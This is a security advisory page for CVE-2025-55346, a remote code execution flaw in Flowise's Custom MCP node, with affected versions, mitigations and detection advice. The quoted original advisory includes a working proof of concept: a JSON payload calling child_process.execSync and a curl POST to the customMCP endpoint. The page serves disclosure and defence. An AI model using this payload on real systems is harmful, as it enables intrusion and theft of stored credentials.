CVE-2025-55346: Flowise vulnerable to RCE via Dynamic function constructor injection
Flowise passes the `mcpServerConfig` value of its Custom MCP node into a JavaScript `Function` constructor outside any sandbox. A request to `/api/v1/node-load-method/customMCP` with a string payload runs attacker code on the Flowise host. The advisory lists versions up to 2.2.7-patch.1 and names no patched version.
Published Oct 6, 2025 · Analysis Nov 1, 2026
What an attacker can do
The Custom MCP node normally takes a JSON object such as {"command": "npx", "args": [...]}. If mcpServerConfig arrives as a string instead, getTools in CustomMCP.ts calls convertToValidJSONString, which runs Function('return ' + inputString)(). That works like eval on user input. Other code-running features in Flowise use the @flowiseai/nodevm sandbox. This path does not, so the code gets the global process object and can load child_process.
The proof of concept sends (global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi')) as mcpServerConfig with loadMethod set to listActions, and the file appears on the host. The CVSS 3.0 vector (9.8) says network, no privileges, no user interaction. The PoC adds the header x-request-from: internal. JFrog says the flaw can lead to either unauthenticated or authenticated code execution depending on the version, and does not say which.
An attacker who reaches the Flowise API gets a shell as the Flowise process. That exposes the API keys and credentials for model providers, vector stores and databases that agent flows hold. EPSS puts this CVE in the 97.7th percentile. No source here reports exploitation in the wild.
Who is affected
Affected: the npm package flowise at 2.2.7-patch.1 and earlier, per the advisory. Any instance whose API is reachable by untrusted users or the network is at risk. JFrog's page lists the affected range as unbounded, so treat other releases as unverified until the vendor says otherwise.
Check your version:
npm ls flowiseDocker users can read the version from the container's package or the Flowise UI settings.
flowise
- Ecosystem
- npm
- Affected
- <= 2.2.7-patch.1
- Fixed in
- No patched version yet
- Check
npm ls flowise
How to fix it
The advisory lists no patched version for flowise. Check the Flowise repository and its security advisory page for a release that removes the Function call in convertToValidJSONString, and upgrade as soon as one appears. JFrog states no mitigations are supplied.
Until then, reduce exposure on your own:
- Do not expose Flowise to the internet or untrusted networks.
- Put it behind a VPN or an authenticating reverse proxy.
- Block or filter requests to
/api/v1/node-load-method/customMCPat the proxy. - Run Flowise as an unprivileged user in a container with minimal secrets and limited egress.
These are general hardening steps. The sources do not list them as fixes.
How to tell if you were hit
Search proxy and application logs for POST requests to /api/v1/node-load-method/customMCP where mcpServerConfig is a string, not a JSON object, or contains process, require or child_process. Check the Flowise console output for the line Error converting to JSON:, which the function prints when evaluation fails. On the host, look for child processes spawned by the Node.js Flowise process, new files in /tmp, and outbound connections that Flowise does not normally make.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.
Details
When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:
{
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):
{
...SNIP...
"inputs":{
"mcpServerConfig":{
"command":"npx",
"args":[
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/allowed/files"
]
}
},
"loadMethod":"listActions"
...SNIP...
}Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:
{
"inputs":{
"mcpServerConfig":"test"
},
"loadMethod":"listActions"
}We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103
async getTools(nodeData: INodeData): Promise<Tool[]> {
const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string
if (!mcpServerConfig) {
throw new Error('MCP Server Config is required')
}
try {
let serverParams
if (typeof mcpServerConfig === 'object') {
serverParams = mcpServerConfig
} else if (typeof mcpServerConfig === 'string') {
const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
serverParams = JSON.parse(serverParamsString)
}
const toolkit = new MCPToolkit(serverParams, 'stdio')
await toolkit.initialize()
const tools = toolkit.tools ?? []
return tools as Tool[]
} catch (error) {
throw new Error(`Invalid MCP Server Config: ${error}`)
}
}
}Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.
This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.
{
"inputs":{
"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
},
"loadMethod":"listActions"
}PoC
- Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx,pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
- Create a new file named
payload.jsonsomewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}- Send the following
curlrequest using thepayload.jsonfile created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"- Observe that a new file named
yofitofiis created under/tmpfolder.
Impact
Remote code execution
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
Credited to assaf-levkovich-jf.
Questions
- Is there a patched Flowise version for CVE-2025-55346?
Not in the advisory data. It lists
flowiseat 2.2.7-patch.1 and earlier as affected with no patched version. JFrog also says no mitigations are supplied.- Does the attacker need to log in?
The CVSS vector says no privileges are required. JFrog says the flaw can lead to either unauthenticated or authenticated code execution depending on the version, without naming which versions.
- Is it exploited in the wild?
No source here says so, and the CVE is not in CISA's KEV catalog. A working proof of concept is public in the advisory.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
high8.5Aug 4, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026
